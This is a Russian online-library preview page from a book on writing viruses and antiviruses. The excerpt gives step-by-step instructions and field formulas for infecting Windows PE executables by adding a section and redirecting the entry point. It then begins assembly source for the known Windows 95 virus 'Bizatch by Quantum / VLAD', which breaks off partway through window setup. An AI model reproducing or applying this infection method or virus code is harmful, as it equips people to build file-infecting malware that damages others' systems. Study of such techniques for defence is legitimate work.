Игорь Гульев - Создаем вирус и антивирус

Здесь есть возможность читать онлайн «Игорь Гульев - Создаем вирус и антивирус» — ознакомительный отрывок электронной книги совершенно бесплатно, а после прочтения отрывка купить полную версию. В некоторых случаях можно слушать аудио, скачать через торрент в формате fb2 и присутствует краткое содержание. Жанр: Прочая околокомпьтерная литература, на русском языке. Описание произведения, (предисловие) а так же отзывы посетителей доступны на портале библиотеки ЛибКат.

Создаем вирус и антивирус: краткое содержание, описание и аннотация

Предлагаем к чтению аннотацию, описание, краткое содержание или предисловие (зависит от того, что написал сам автор книги «Создаем вирус и антивирус»). Если вы не нашли необходимую информацию о книге — напишите в комментариях, мы постараемся отыскать её.

Virus Warning!
С этим сообщением, хоть раз в жизни, сталкивался любой пользователь компьютера. Вирмейкеры с упорством маньяков плодят все новые и новые разновидности вирусов. Бытует мнение, что избавиться от них можно лишь с помощью сложных и дорогостоящих новейших антивирусных программ. Это не совсем верно – знание принципов действия и способов внедрения вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной «вакцины».
В этой книге вы найдете обширный материал, посвященный проблеме защиты информации, рассмотренной с обеих сторон баррикад (как от лица вирмейкера, так и создателя антивирусов).

Создаем вирус и антивирус — читать онлайн ознакомительный отрывок

Ниже представлен текст книги, разбитый по страницам. Система сохранения места последней прочитанной страницы, позволяет с удобством читать онлайн бесплатно книгу «Создаем вирус и антивирус», без необходимости каждый раз заново искать на чём Вы остановились. Поставьте закладку, и сможете в любой момент перейти на страницу, на которой закончили чтение.

Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

push offset lpszProc

push dword ptr [hModule]

call GetProcAddress

Используя 32-битный отладчик, можно оттрассировать вызов и найти вызов KERNEL32 для каждого конкретного случая. Это позволит получить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.

Заражение файлов формата PE-executable

Определение положения начала PE-заголовка происходит аналогично поиску начала NE-заголовка. Если смещение таблицы настройки адресов (поле 18h) в заголовке EXE-файла 40h или больше, то по смещению 3Ch находится смещение PE-executable заголовка. Сигнатура PE-executable («PE») находится, как и у NE-executable EXE-файла, в начале нового заголовка.

Внутри PE-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.

Основные действия заражения PE-executable файла:

1. Найти смещение заголовка PE-executable в файле.

2. Считать достаточное количество информации из заголовка для вычисления его полного размера.

3. Считать весь PE-заголовок и таблицу объектов.

4. Добавить новый объект в таблицу объектов.

5. Установить точку входа RVA на новый объект.

6. Дописать вирус к файлу по вычисленному физическому смещению.

7. Записать измененный PE-заголовок в файл.

Для определения расположения таблицы объектов следует воспользоваться значением переменной «HeaderSize» (не путать с «NT headersize»), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.

Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.

Таблица объектов расположена непосредственно за NT-заголовком. Значение «NTheadersize» показывает количество байт, следующих за полем «flags». Итак, для определения смещения таблицы объектов нужно получить NTheaderSize и добавить размер поля флагов (24).

Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.

Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).

RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)

*OBJ Alignment

Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)

*OBJ Alignment

Physical Size=(size of virus/File Alignment+1)*File Alignment

Physical Offset=prev Physical Offset+prev Physical Size

Object Flags=db 40h,0,0,C0h

Entrypoint RVA=RVA

Теперь необходимо увеличить на единицу поле «количество объектов» и записать код вируса по вычисленному «физическому смещению» в размере «физического размера» байт.

Пример вируса под Windows 95

.386

locals

jumps

.model flat,STDCALL

include win32.inc ;некоторые 32−битные константы и структуры

L equ

;Определим внешние функции, к которым будет подключаться вирус

extrn BeginPaint:PROC

extrn CreateWindowExA:PROC

extrn DefWindowProcA:PROC

extrn DispatchMessageA:PROC

extrn EndPaint:PROC

extrn ExitProcess:PROC

extrn FindWindowA:PROC

extrn GetMessageA:PROC

extrn GetModuleHandleA:PROC

extrn GetStockObject:PROC

extrn InvalidateRect:PROC

extrn LoadCursorA:PROC

extrn LoadIconA:PROC

extrn MessageBeep:PROC

extrn PostQuitMessage:PROC

extrn RegisterClassA:PROC

extrn ShowWindow:PROC

extrn SetWindowPos:PROC

extrn TextOutA:PROC

extrn TranslateMessage:PROC

extrn UpdateWindow:PROC

;Для поддержки Unicode Win32 интерпретирует некоторые функции

;для ANSI или расширенного набора символов.

;В качестве примера рассмотрим ANSI

CreateWindowEx equ

DefWindowProc equ

DispatchMessage equ

FindWindow equ

GetMessage equ

GetModuleHandle equ

LoadCursor equ

LoadIcon equ

MessageBox equ

RegisterClass equ

TextOut equ

.data

newhwnd dd 0

lppaint PAINTSTRUCT

msg MSGSTRUCT

wc WNDCLASS

mbx_count dd 0

hInst dd 0

szTitleName db ”Bizatch by Quantum / VLAD activated”

zero db 0

szAlternate db ”more than once”,0

szClassName db ”ASMCLASS32”,0

;Сообщение, выводимое в окне

szPaint db ”Left Button pressed:”

s_num db ”00000000h times.”,0

;Размер сообщения

MSG_L EQU ($−offset szPaint)−1

.code

;Сюда обычно передается управление от загрузчика.

start:

;Получим HMODULE

push L 0

call GetModuleHandle

mov [hInst],eax

push L 0

push offset szClassName

call FindWindow

or eax,eax

jz reg_class

;Пространство для модификации строки заголовка

mov [zero],” ”

reg_class:

;Инициализируем структуру WndClass

mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS

mov [wc.clsLpfnWndProc],offset WndProc

mov [wc.clsCbClsExtra],0

mov [wc.clsCbWndExtra],0

mov eax,[hInst]

mov [wc.clsHInstance], eax

;Загружаем значок

push L IDI_APPLICATION

push L 0

call LoadIcon

mov [wc.clsHIcon], eax

;Загружаем курсор

push L IDC_ARROW

push L 0

call LoadCursor

mov [wc.clsHCursor], eax

;Инициализируем оставшиеся поля структуры WndClass

mov [wc.clsHbrBackground],COLOR_WINDOW+1

mov dword ptr [wc.clsLpszMenuName],0

mov dword ptr [wc.clsLpszClassName],offset szClassName

;Регистрируем класс окна

push offset wc

call RegisterClass

;Создаем окно

push L 0 ;lpParam

push [hInst] ;hInstance

push L 0 ;Меню

push L 0 ;hwnd родительского

Читать дальше
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

Похожие книги на «Создаем вирус и антивирус»

Представляем Вашему вниманию похожие книги на «Создаем вирус и антивирус» списком для выбора. Мы отобрали схожую по названию и смыслу литературу в надежде предоставить читателям больше вариантов отыскать новые, интересные, ещё непрочитанные произведения.


Отзывы о книге «Создаем вирус и антивирус»

Обсуждение, отзывы о книге «Создаем вирус и антивирус» и просто собственные мнения читателей. Оставьте ваши комментарии, напишите, что Вы думаете о произведении, его смысле или главных героях. Укажите что конкретно понравилось, а что нет, и почему Вы так считаете.

x